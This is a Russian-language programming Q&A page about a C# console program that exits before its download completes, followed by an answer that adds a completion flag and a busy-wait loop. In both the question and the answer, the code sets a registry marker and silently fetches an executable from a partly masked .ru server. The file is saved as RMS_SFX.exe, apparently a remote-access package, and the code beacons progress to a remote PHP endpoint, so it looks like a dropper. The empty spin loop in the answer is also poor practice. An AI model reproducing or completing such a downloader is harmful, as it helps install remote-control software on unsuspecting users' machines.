.NET 4.x Закрытие приложения - C#
Формулировка задачи:
В общем такая проблема, открываю файл и должна начаться загрузка файла, но вместо этого, программа закрывается
Но если в коде добавить например
И не закрывать окно с этим сообщением, то все качается и ничего не закрывается, стоить закрыть сообщение
сразу все выключается, как исправить это?
using System;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Net;
namespace WhoWantBees
{
class Program
{
static public string messageToWorld = "[DynamicMessage]";
static void Main(string[] args)
{
Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
RegKey.CreateSubKey("Systems\\Copytale");
Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
Key.SetValue("ID", messageToWorld);
string fileName = "http://???b.ru/downloads/start.exe";
WebClient client = new WebClient();
client.DownloadProgressChanged +=
new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
//client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
//MessageBox.Show("1");
}
static void client_DownloadProgressChanged(object sender,
DownloadProgressChangedEventArgs e)
{
System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
System.Net.WebResponse resp = reqGET.GetResponse();
System.IO.Stream stream = resp.GetResponseStream();
System.IO.StreamReader sr = new System.IO.StreamReader(stream);
Console.WriteLine("{0} Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
}
}
}MessageBox.Show("1");Решение задачи: «.NET 4.x Закрытие приложения»
textual
Листинг программы
static public string messageToWorld = "[DynamicMessage]";
public static bool isCompleted = false; // добавил
static void Main(string[] args)
{
Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
RegKey.CreateSubKey("Systems\\Copytale");
Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
Key.SetValue("ID", messageToWorld);
string fileName = "http://???b.ru/downloads/start.exe";
WebClient client = new WebClient();
client.DownloadFileCompleted += new AsyncCompletedEventHandler (DownloadFileCallback); // добавил в обработчик функции поместить isCompleted = true;
client.DownloadProgressChanged +=
new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
//client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
while(!isCompleted)
{}
Console.ReadKey();
//MessageBox.Show("1");
}
static void client_DownloadProgressChanged(object sender,
DownloadProgressChangedEventArgs e)
{
System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
System.Net.WebResponse resp = reqGET.GetResponse();
System.IO.Stream stream = resp.GetResponseStream();
System.IO.StreamReader sr = new System.IO.StreamReader(stream);
Console.WriteLine("{0} Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
}